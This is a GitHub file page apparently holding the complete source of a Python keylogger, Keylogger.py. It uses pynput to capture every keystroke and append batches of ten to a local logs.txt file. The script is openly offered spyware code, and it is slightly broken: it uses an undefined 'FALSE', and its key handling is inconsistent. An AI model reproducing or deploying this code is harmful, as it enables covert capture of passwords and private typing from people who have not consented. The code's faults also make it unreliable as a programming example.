-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathKeylogger.py
More file actions
44 lines (32 loc) · 915 Bytes
/
Copy pathKeylogger.py
File metadata and controls
44 lines (32 loc) · 915 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/python3
import pynput
count =0
Keys=[]
from pynput.keyboard import Key, Listener
def write_file(Keys):
with open("logs.txt","a") as f:
for key in Keys:
k=str(key).replace("'"," ")
#Key.space
if k.find("space") > 0:
f.write('\n')
#Key.backspace
elif k.find("Key") == -1:
f.write(k)
def when_pressed(key):
#print(key, "was pressed")
global count, Keys
Keys.append(key)
count = count+1
if count>=10:
write_file(Keys)
Keys=[]
count=0
print("{0} pressed".format(key))
def when_released(key):
#print(key, "was released")
#print("{0} released".format(key))
if key == Key.esc:
return FALSE
with Listener(on_press=when_pressed, on_release=when_released) as listener: #just replaced it with lower case listener
listener.join()